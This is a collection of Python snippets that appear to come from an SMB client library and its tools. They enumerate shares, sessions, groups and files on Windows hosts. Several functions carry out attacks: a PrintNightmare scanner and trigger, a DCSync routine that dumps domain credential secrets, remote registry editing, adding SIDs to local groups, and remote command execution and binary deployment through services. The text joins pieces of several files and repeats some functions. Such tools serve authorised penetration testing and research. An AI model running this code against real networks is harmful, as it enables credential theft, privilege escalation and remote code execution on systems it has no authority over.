async def do_login(self, url = None):
"""Connects to the remote machine"""
try:
if self.conn_url is None and url is None:
print('No url was set, cant do logon')
if url is not None:
self.conn_url = SMBConnectionURL(url)
cred = self.conn_url.get_credential()
if cred.secret is None and cred.username is None and cred.domain is None:
self.is_anon = True
self.connection = self.conn_url.get_connection()
logger.debug(self.conn_url.get_credential())
logger.debug(self.conn_url.get_target())
_, err = await self.connection.login()
if err is not None:
raise err
self.machine = SMBMachine(self.connection)
if self.silent is False:
print('Login success')
return True, None
except Exception as e:
traceback.print_exc()
print('Login failed! Reason: %s' % str(e))
return False, e
async def __executor(self, tid, target):
try:
connection = self.smb_mgr.create_connection_newtarget(target)
async with connection:
_, err = await connection.login()
if err is not None:
raise err
machine = SMBMachine(connection)
async for path, otype, err in machine.enum_all_recursively(
depth=self.depth):
er = EnumResult(tid, target, (path, otype, err))
await self.res_q.put(er)
except asyncio.CancelledError:
return
except Exception as e:
await self.res_q.put(
EnumResult(tid,
target,
None,
error=e,
status=EnumResultStatus.ERROR))
finally:
await self.res_q.put(
EnumResult(tid, target, None,
status=EnumResultStatus.FINISHED))
async def __executor(self, tid, target):
try:
connection = self.smb_mgr.create_connection_newtarget(target)
async with connection:
_, err = await connection.login()
if err is not None:
raise err
machine = SMBMachine(connection)
async for session, err in machine.list_sessions():
# SMBUserSession
if err is not None:
raise err
er = EnumResult(tid, target, session)
await self.res_q.put(er)
except asyncio.CancelledError:
return
except Exception as e:
await self.res_q.put(
EnumResult(tid,
target,
None,
error=e,
status=EnumResultStatus.ERROR))
finally:
await self.res_q.put(
EnumResult(tid, target, None,
status=EnumResultStatus.FINISHED))
async def __executor(self, tid, target):
try:
connection = self.smb_mgr.create_connection_newtarget(target)
async with connection:
_, err = await connection.login()
if err is not None:
raise err
machine = SMBMachine(connection)
async for obj, otype, err in machine.enum_all_recursively(
depth=self.depth,
maxentries=self.max_items,
fetch_share_sd=self.fetch_share_sd,
fetch_dir_sd=self.fetch_dir_sd,
fetch_file_sd=self.fetch_file_sd,
exclude_share=self.exclude_share,
exclude_dir=self.exclude_dir):
er = EnumResult(tid, target, (obj, otype, err))
await self.res_q.put(er)
except asyncio.CancelledError:
return
except Exception as e:
await self.res_q.put(
EnumResult(tid,
target,
None,
error=e,
status=EnumResultStatus.ERROR))
finally:
await self.res_q.put(
EnumResult(tid, target, None,
status=EnumResultStatus.FINISHED))
async def enum_host(self, atarget): connection = None try: tid, target = atarget connection = self.smb_mgr.create_connection_newtarget(target) async with connection: _, err = await connection.login() if err is not None: raise err machine = SMBMachine(connection) maxerr = self.host_max_errors async for obj, otype, err in machine.enum_all_recursively(depth = self.depth, fetch_share_sd = self.fetch_share_sd, fetch_dir_sd = self.fetch_dir_sd, fetch_file_sd=self.fetch_file_sd, maxentries = self.max_entries): otype = otype.lower() if err is not None: await self.out_q.put((tid, connection.target, None, 'Failed to perform file enum. Reason: %s' % format_exc(err))) break else: try: if otype not in ['share', 'file', 'dir']: continue sf = SMBFile() sf.machine_sid = tid sf.unc = obj.unc_path sf.otype = otype if otype == 'share': continue if otype in ['file', 'dir']: sf.creation_time = obj.creation_time sf.last_access_time = obj.last_access_time sf.last_write_time = obj.last_write_time sf.change_time = obj.change_time if obj.security_descriptor is not None and obj.security_descriptor != '': sf.sddl = obj.security_descriptor.to_sddl() if otype == 'file': sf.size = obj.size sf.size_ext = sizeof_fmt(sf.size) await self.out_q.put((tid, connection.target, sf, None)) except Exception as e: maxerr -= 1 await self.out_q.put((tid, connection.target, None, 'Failed to format file result. Reason: %s' % format_exc(e))) if maxerr == 0: await self.out_q.put((tid, connection.target, None, 'File Results too many errors. Reason: %s' % format_exc(e))) break except asyncio.CancelledError: return except Exception as e: await self.out_q.put((tid, connection.target, None, 'Failed to connect to host. Reason: %s' % format_exc(e))) return finally: await self.out_q.put((tid, connection.target, None, None)) #target finished
async def scan_host(self, target):
try:
#spneg = AuthenticatorBuilder.to_spnego_cred(self.credential, target)
connection = self.smb_mgr.create_connection_newtarget(target)
async with connection:
await connection.login()
machine = SMBMachine(connection)
if 'all' in self.gather or 'shares' in self.gather:
async for smbshare, err in machine.list_shares():
if err is not None:
await self.out_q.coro_put((connection.target, None, 'Failed to list shares. Reason: %s' % format_exc(err)))
continue
share = NetShare()
share.ip = connection.target.get_ip()
share.netname = smbshare.name
share.type = smbshare.type
share.remark = smbshare.remark
await self.out_q.coro_put((connection.target, share, None))
if 'all' in self.gather or 'sessions' in self.gather:
async for session, err in machine.list_sessions():
if err is not None:
await self.out_q.coro_put((connection.target, None, 'Failed to get sessions. Reason: %s' % format_exc(err)))
continue
sess = NetSession()
sess.source = connection.target.get_ip()
sess.ip = session.ip_addr.replace('\\','').strip()
sess.username = session.username
await self.out_q.coro_put((connection.target, sess, None))
if 'all' in self.gather or 'localgroups' in self.gather:
for group_name in self.localgroups:
async for domain_name, user_name, sid, err in machine.list_group_members(domain_name, group_name):
if err is not None:
await self.out_q.coro_put((connection.target, None, 'Failed to connect to poll group memeberships. Reason: %s' % format_exc(err)))
continue
lg = LocalGroup()
lg.ip = connection.target.get_ip()
lg.hostname = connection.target.get_hostname()
lg.sid = sid
lg.groupname = group_name
lg.domain = domain_name
lg.username = user_name
await self.out_q.coro_put((connection.target, lg, None))
except Exception as e:
await self.out_q.coro_put((connection.target, None, 'Failed to connect to host. Reason: %s' % format_exc(e)))
return
finally:
await self.out_q.coro_put((connection.target, None, None)) #target finished
async def test(url_str):
url = SMBConnectionURL(url_str)
connection = url.get_connection()
_, err = await connection.login()
if err is not None:
print(err)
raise err
machine = SMBMachine(connection)
async for share, err in machine.list_shares():
if err is not None:
print(err)
raise err
print(share)
async def __executor(self, tid, target):
try:
connection = self.smb_mgr.create_connection_newtarget(target)
async with connection:
_, err = await connection.login()
if err is not None:
raise err
nonexistentpath = "C:\\doesntexist\\%s.dll" % os.urandom(4).hex()
async with SMBMachine(connection) as machine:
_, err = await asyncio.wait_for(machine.printnightmare(nonexistentpath, None, silent=True), 10)
if err is not None:
er = EnumResult(tid, target, 'OK')
if str(err).find('ERROR_PATH_NOT_FOUND') != -1:
er = EnumResult(tid, target, 'VULN')
await self.res_q.put(er)
_, err = await asyncio.wait_for(machine.par_printnightmare(nonexistentpath, None, silent=True), 10)
if err is not None:
er = EnumResult(tid, target, 'OK')
if str(err).find('ERROR_PATH_NOT_FOUND') != -1:
er = EnumResult(tid, target, 'VULN')
await self.res_q.put(er)
except asyncio.CancelledError:
return
except Exception as e:
await self.res_q.put(EnumResult(tid, target, None, error = e, status = EnumResultStatus.ERROR))
finally:
await self.res_q.put(EnumResult(tid, target, None, status = EnumResultStatus.FINISHED))
async def dcsync(url, username = None):
from aiosmb.commons.connection.url import SMBConnectionURL
from aiosmb.commons.interfaces.machine import SMBMachine
smburl = SMBConnectionURL(url)
connection = smburl.get_connection()
users = []
if username is not None:
users.append(username)
async with connection:
logging.debug('[DCSYNC] Connecting to server...')
_, err = await connection.login()
if err is not None:
raise err
logging.debug('[DCSYNC] Connected to server!')
logging.debug('[DCSYNC] Running...')
i = 0
async with SMBMachine(connection) as machine:
async for secret, err in machine.dcsync(target_users=users):
if err is not None:
raise err
i += 1
if i % 1000 == 0:
logging.debug('[DCSYNC] Running... %s' % i)
await asyncio.sleep(0)
yield secret
logging.debug('[DCSYNC] Finished!')
async def amain(url):
print(1)
conn_url = SMBConnectionURL(url)
print(2)
connection = conn_url.get_connection()
await connection.login()
print(3)
async with SMBMachine(connection) as computer:
async with SMBDRSUAPI(connection, 'TEST') as drsuapi:
try:
_, err = await drsuapi.connect()
_, err = await drsuapi.open()
if err is not None:
raise err
async for username, user_sid, err in computer.list_domain_users(
target_domain='TEST'):
#print(username)
x, err = await drsuapi.DRSCrackNames(name=username)
if err is not None:
raise err
#print(x.dump())
#await asyncio.sleep(0.01)
except Exception as e:
logging.exception('error!')
raise e
async def do_smbfiles(self, cmd, out_q, cancel_token):
try:
connection, err = self.get_smb_connection(cmd)
if err is not None:
await out_q.put(NestOpErr(cmd.token, str(err)))
return
async with connection:
_, err = await connection.login()
if err is not None:
raise err
async with SMBMachine(connection) as machine:
async for obj, otype, err in machine.enum_all_recursively(
depth=cmd.depth):
if otype[0].upper() in ['F', 'D']:
reply = NestOpSMBFileRes()
reply.token = cmd.token
reply.machine_ad_id = None
reply.machine_sid = None
reply.otype = otype
reply.unc_path = obj.unc_path
await out_q.put(reply)
await out_q.put(NestOpOK(cmd.token))
except asyncio.CancelledError:
return
except Exception as e:
traceback.print_exc()
print('do_smbfiles error! %s' % e)
await out_q.put(NestOpErr(cmd.token, str(e)))
finally:
cancel_token.set()
async def printnightmare(url, dll_path, driverpath=None):
try:
from aiosmb.commons.connection.url import SMBConnectionURL
from aiosmb.commons.interfaces.machine import SMBMachine
smburl = SMBConnectionURL(url)
connection = smburl.get_connection()
async with connection:
logger.debug('[PRINTNIGHTMARE] Connecting to server...')
_, err = await connection.login()
if err is not None:
raise err
machine = SMBMachine(connection)
logger.debug('[PRINTNIGHTMARE] Connected!')
logger.debug('[PRINTNIGHTMARE] Triggering printnightmare...')
_, err = await machine.printnightmare(dll_path, driverpath)
if err is not None:
raise err
logger.debug('[PRINTNIGHTMARE] Printnightmare finished OK!')
return True, None
except Exception as e:
import traceback
traceback.print_exc()
return None, e
async def do_login(self, url=None):
try:
if self.conn_url is None and url is None:
print('No url was set, cant do logon')
if url is not None:
self.conn_url = SMBConnectionURL(url)
self.connection = self.conn_url.get_connection()
logger.debug(self.conn_url.get_credential())
logger.debug(self.conn_url.get_target())
await self.connection.login()
self.machine = SMBMachine(self.connection)
except Exception as e:
traceback.print_exc()
else:
print('Login success')
async def do_login(self, url=None):
"""Connects to the remote machine"""
try:
if self.conn_url is None and url is None:
print('No url was set, cant do logon')
if url is not None:
self.conn_url = SMBConnectionURL(url)
self.connection = self.conn_url.get_connection()
logger.debug(self.conn_url.get_credential())
logger.debug(self.conn_url.get_target())
_, err = await self.connection.login()
if err is not None:
raise err
self.machine = SMBMachine(self.connection)
except Exception as e:
traceback.print_exc()
print('Login failed! Reason: %s' % str(err))
else:
print('Login success')
async def amain():
import argparse
import sys
import logging
parser = argparse.ArgumentParser(
description='Registry manipulation via SMB')
SMBConnectionParams.extend_parser(parser)
parser.add_argument('-v', '--verbose', action='count', default=0)
parser.add_argument(
'url',
help=
'Connection URL base, target can be set to anything. Owerrides all parameter based connection settings! Example: "smb2+ntlm-password://TEST\\victim@test"'
)
parser.add_argument(
'commands',
nargs='*',
help=
'Commands in the following format: "r:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest:Negotiate"'
)
args = parser.parse_args()
if args.verbose >= 1:
logger.setLevel(logging.DEBUG)
if args.verbose > 2:
print('setting deepdebug')
logger.setLevel(1) #enabling deep debug
asyncio.get_event_loop().set_debug(True)
logging.basicConfig(level=logging.DEBUG)
commands = []
smb_url = None
if args.url is not None:
smb_url = args.url
else:
try:
smb_url = SMBConnectionParams.parse_args(args)
except Exception as e:
print(
'Either URL or all connection parameters must be set! Error: %s'
% str(e))
sys.exit(1)
#pre-parsing commands
for cmd in args.commands:
c, path = cmd.split(':', 1)
c = SMBREG_COMMAND(c.upper())
commands.append((c, path))
connection = SMBConnectionURL(smb_url).get_connection()
_, err = await connection.login()
if err is not None:
print('Login failed! Reason: %s' % str(err))
return
machine = SMBMachine(connection)
#async for srv, err in machine.list_services():
# if err is not None:
# print(err)
# return
# print(srv)
registry_srv_status, err = await machine.check_service_status(
"RemoteRegistry")
if err is not None:
print('Check service status error! %s' % err)
return
if registry_srv_status != SMBServiceStatus.RUNNING:
logger.info('RemoteRegistry is not running! Starting it now..')
res, err = await machine.enable_service("RemoteRegistry")
if err is not None:
print(err)
return
await asyncio.sleep(5) #waiting for service to start up
reg_api, err = await machine.get_regapi()
if err is not None:
print(err)
return
## do stuff
for cmd, target in commands:
if cmd == SMBREG_COMMAND.READ:
regpath, name = target.split(':', 1)
hkey, err = await reg_api.OpenRegPath(regpath)
if err is not None:
print(err)
continue
val_type, value, err = await reg_api.QueryValue(hkey, name)
if err is not None:
print(err)
continue
print(value)
elif cmd == SMBREG_COMMAND.ENUMVALUE:
hkey, err = await reg_api.OpenRegPath(target)
if err is not None:
print(err)
continue
i = 0
while True:
value_name, value_type, value_data, err = await reg_api.EnumValue(
hkey, i)
i += 1
if err is not None:
print(err)
break
print(value_name)
print(value_type)
print(value_data)
elif cmd == SMBREG_COMMAND.ENUMKEY:
hkey, err = await reg_api.OpenRegPath(target)
if err is not None:
print(err)
continue
i = 0
while True:
res, err = await reg_api.EnumKey(hkey, i)
i += 1
if err is not None:
print(err)
break
print(res)
class SMBClient(aiocmd.PromptToolkitCmd):
def __init__(self, url = None, silent = False, no_dce = False):
aiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows...
self.conn_url = None
if url is not None:
self.conn_url = SMBConnectionURL(url)
self.connection = None
self.machine = None
self.is_anon = False
self.silent = silent
self.no_dce = no_dce # diables ANY use of the DCE protocol (eg. share listing) This is useful for new(er) windows servers where they forbid the users to use any form of DCE
self.shares = {} #name -> share
self.__current_share = None
self.__current_directory = None
async def do_coninfo(self):
try:
from aiosmb._version import __version__ as smbver
from asysocks._version import __version__ as socksver
from minikerberos._version import __version__ as kerbver
from winsspi._version import __version__ as winsspiver
from winacl._version import __version__ as winaclver
print(self.conn_url)
print('AIOSMB: %s' % smbver)
print('ASYSOCKS: %s' % socksver)
print('MINIKERBEROS: %s' % kerbver)
print('WINSSPI: %s' % winsspiver)
print('WINACL: %s' % winaclver)
return True, None
except Exception as e:
traceback.print_exc()
return None, e
async def do_login(self, url = None):
"""Connects to the remote machine"""
try:
if self.conn_url is None and url is None:
print('No url was set, cant do logon')
if url is not None:
self.conn_url = SMBConnectionURL(url)
cred = self.conn_url.get_credential()
if cred.secret is None and cred.username is None and cred.domain is None:
self.is_anon = True
self.connection = self.conn_url.get_connection()
logger.debug(self.conn_url.get_credential())
logger.debug(self.conn_url.get_target())
_, err = await self.connection.login()
if err is not None:
raise err
self.machine = SMBMachine(self.connection)
if self.silent is False:
print('Login success')
return True, None
except Exception as e:
traceback.print_exc()
print('Login failed! Reason: %s' % str(e))
return False, e
async def do_logout(self):
if self.machine is not None:
await self.machine.close()
self.machine = None
if self.connection is not None:
try:
await self.connection.terminate()
except Exception as e:
logger.exception('connection.close')
self.connection = None
async def _on_close(self):
await self.do_logout()
async def do_nodce(self):
"""Disables automatic share listing on login"""
self.no_dce = True
async def do_shares(self, show = True):
"""Lists available shares"""
try:
if self.machine is None:
print('Not logged in! Use "login" first!')
return False, Exception('Not logged in!')
async for share, err in self.machine.list_shares():
if err is not None:
raise err
self.shares[share.name] = share
if show is True:
print(share.name)
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_sessions(self):
"""Lists sessions of connected users"""
try:
async for sess, err in self.machine.list_sessions():
if err is not None:
raise err
print("%s : %s" % (sess.username, sess.ip_addr))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_wsessions(self):
"""Lists sessions of connected users"""
try:
async for sess, err in self.machine.wkstlist_sessions():
if err is not None:
raise err
print("%s" % sess.username)
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_domains(self):
"""Lists domain"""
try:
async for domain, err in self.machine.list_domains():
if err is not None:
raise err
print(domain)
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_localgroups(self):
"""Lists local groups"""
try:
async for name, sid, err in self.machine.list_localgroups():
if err is not None:
raise err
print("%s : %s" % (name, sid))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_domaingroups(self, domain_name):
"""Lists groups in a domain"""
try:
async for name, sid, err in self.machine.list_groups(domain_name):
if err is not None:
raise err
print("%s : %s" % (name, sid))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_groupmembers(self, domain_name, group_name):
"""Lists members of an arbitrary group"""
try:
async for domain, username, sid, err in self.machine.list_group_members(domain_name, group_name):
if err is not None:
raise err
print("%s\\%s : %s" % (domain, username, sid))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_localgroupmembers(self, group_name):
"""Lists members of a local group"""
try:
async for domain, username, sid, err in self.machine.list_group_members('Builtin', group_name):
if err is not None:
raise err
print("%s\\%s : %s" % (domain, username, sid))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_addsidtolocalgroup(self, group_name, sid):
"""Add member (by SID) to a local group"""
try:
result, err = await self.machine.add_sid_to_group('Builtin', group_name, sid)
if err is not None:
raise err
if result:
print('Modification OK!')
else:
print('Something went wrong, status != ok')
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_use(self, share_name):
"""selects share to be used"""
try:
if self.is_anon is False or self.no_dce:
#anonymous connection might not have access to IPC$ so we are skipping the check
if len(self.shares) == 0:
_, err = await self.do_shares(show = False)
if err is not None:
raise err
if share_name not in self.shares:
if share_name.upper() not in self.shares:
print('Error! Uknown share name %s' % share_name)
return
share_name = share_name.upper()
self.__current_share = self.shares[share_name]
else:
self.__current_share = SMBShare.from_unc('\\\\%s\\%s' % (self.connection.target.get_hostname_or_ip(), share_name))
_, err = await self.__current_share.connect(self.connection)
if err is not None:
raise err
self.__current_directory = self.__current_share.subdirs[''] #this is the entry directory
self.prompt = '[%s]$ ' % self.__current_directory.unc_path
_, err = await self.do_refreshcurdir()
if err is not None:
raise err
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_dir(self):
return await self.do_ls()
async def do_ls(self):
try:
if self.__current_share is None:
print('No share selected!')
return
if self.__current_directory is None:
print('No directory selected!')
return
for entry in self.__current_directory.get_console_output():
print(entry)
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_refreshcurdir(self):
try:
async for entry in self.machine.list_directory(self.__current_directory):
#no need to put here anything, the dir bject will store the refreshed data
a = 1
return True, None
except Exception as e:
traceback.print_exc()
return None, e
async def do_cd(self, directory_name):
try:
if self.__current_share is None:
print('No share selected!')
return False, None
if self.__current_directory is None:
print('No directory selected!')
return False, None
if directory_name not in self.__current_directory.subdirs:
if directory_name == '..':
self.__current_directory = self.__current_directory.parent_dir
self.prompt = '[%s] $' % (self.__current_directory.unc_path)
return True, None
else:
print('The directory "%s" is not in parent directory "%s"' % (directory_name, self.__current_directory.fullpath))
return False, None
else:
self.__current_directory = self.__current_directory.subdirs[directory_name]
self.prompt = '[%s] $' % (self.__current_directory.unc_path)
_, err = await self.do_refreshcurdir()
if err is not None:
raise err
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
def get_current_dirs(self):
if self.__current_directory is None:
return []
return list(self.__current_directory.subdirs.keys())
def get_current_files(self):
if self.__current_directory is None:
return []
return list(self.__current_directory.files.keys())
async def do_getfilesd(self, file_name):
try:
if file_name not in self.__current_directory.files:
print('file not in current directory!')
return False, None
file_obj = self.__current_directory.files[file_name]
sd, err = await file_obj.get_security_descriptor(self.connection)
if err is not None:
raise err
print(sd.to_sddl())
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_getdirsd(self):
try:
sd, err = await self.__current_directory.get_security_descriptor(self.connection)
if err is not None:
raise err
print(str(sd.to_sddl()))
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
def _cd_completions(self):
return SMBPathCompleter(get_current_dirs = self.get_current_dirs)
def _get_completions(self):
return SMBPathCompleter(get_current_dirs = self.get_current_files)
def _del_completions(self):
return SMBPathCompleter(get_current_dirs = self.get_current_files)
def _sid_completions(self):
return SMBPathCompleter(get_current_dirs = self.get_current_files)
def _dirsid_completions(self):
return SMBPathCompleter(get_current_dirs = self.get_current_dirs)
async def do_services(self):
"""Lists remote services"""
try:
async for service, err in self.machine.list_services():
if err is not None:
raise err
print(service)
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_serviceen(self, service_name):
"""Enables a remote service"""
try:
res, err = await self.machine.enable_service(service_name)
if err is not None:
raise err
print(res)
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_servicecreate(self, service_name, command, display_name = None):
"""Creates a remote service"""
try:
_, err = await self.machine.create_service(service_name, command, display_name)
if err is not None:
raise err
print('Service created!')
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_servicecmdexec(self, command, timeout = 1):
"""Executes a shell command as a service and returns the result"""
try:
buffer = b''
if timeout is None or timeout == '':
timeout = 1
timeout = int(timeout)
async for data, err in self.machine.service_cmd_exec(command):
if err is not None:
raise err
if data is None:
break
try:
print(data.decode())
except:
print(data)
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_servicedeploy(self, path_to_exec, remote_path):
"""Deploys a binary file from the local system as a service on the remote system"""
#servicedeploy /home/devel/Desktop/cmd.exe /shared/a.exe
try:
basename = ntpath.basename(remote_path)
remote_path = '\\\\%s\\%s\\%s\\%s' % (self.connection.target.get_hostname_or_ip(), self.__current_share.name, self.__current_directory.fullpath , basename)
_, err = await self.machine.deploy_service(path_to_exec, remote_path = remote_path)
if err is not None:
raise err
print('Service deployed!')
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_put(self, file_name):
"""Uploads a file to the remote share"""
try:
basename = ntpath.basename(file_name)
dst = '\\%s\\%s\\%s' % (self.__current_share.name, self.__current_directory.fullpath , basename)
_, err = await self.machine.put_file(file_name, dst)
if err is not None:
print('Failed to put file! Reason: %s' % err)
return False, err
print('File uploaded!')
_, err = await self.do_refreshcurdir()
if err is not None:
raise err
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_del(self, file_name):
"""Removes a file from the remote share"""
try:
basename = ntpath.basename(file_name)
dst = '\\%s\\%s\\%s' % (self.__current_share.name, self.__current_directory.fullpath , basename)
_, err = await self.machine.del_file(dst)
if err is not None:
raise err
print('File deleted!')
_, err = await self.do_refreshcurdir()
if err is not None:
raise err
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_regsave(self, hive_name, file_path):
"""Saves a registry hive to a file on remote share"""
try:
_, err = await self.machine.save_registry_hive(hive_name, file_path)
if err is not None:
raise err
print('Hive saved!')
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_reglistusers(self):
"""Saves a registry hive to a file on remote share"""
try:
users, err = await self.machine.reg_list_users()
if err is not None:
raise err
for user in users:
print(user)
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_get(self, file_name):
"""Download a file from the remote share to the current folder"""
try:
matched = []
if file_name not in self.__current_directory.files:
for fn in fnmatch.filter(list(self.__current_directory.files.keys()), file_name):
matched.append(fn)
if len(matched) == 0:
print('File with name %s is not present in the directory %s' % (file_name, self.__current_directory.name))
return False, None
else:
matched.append(file_name)
for file_name in matched:
file_obj = self.__current_directory.files[file_name]
with tqdm.tqdm(desc = 'Downloading %s' % file_name, total=file_obj.size, unit='B', unit_scale=True, unit_divisor=1024) as pbar:
with open(file_name, 'wb') as outfile:
async for data, err in self.machine.get_file_data(file_obj):
if err is not None:
raise err
if data is None:
break
outfile.write(data)
pbar.update(len(data))
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_mkdir(self, directory_name):
"""Creates a directory on the remote share"""
try:
_, err = await self.machine.create_subdirectory(directory_name, self.__current_directory)
if err is not None:
raise err
print('Directory created!')
_, err = await self.do_refreshcurdir()
if err is not None:
raise err
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_dcsync(self, username = None):
"""It's a suprse tool that will help us later"""
try:
users = []
if username is not None:
users.append(username)
async for secret, err in self.machine.dcsync(target_users=users):
if err is not None:
raise err
if secret is None:
continue
print(str(secret))
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_users(self, domain = None):
"""List users in domain"""
try:
async for username, user_sid, err in self.machine.list_domain_users(domain):
if err is not None:
print(str(err))
print('%s %s' % (username, user_sid))
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
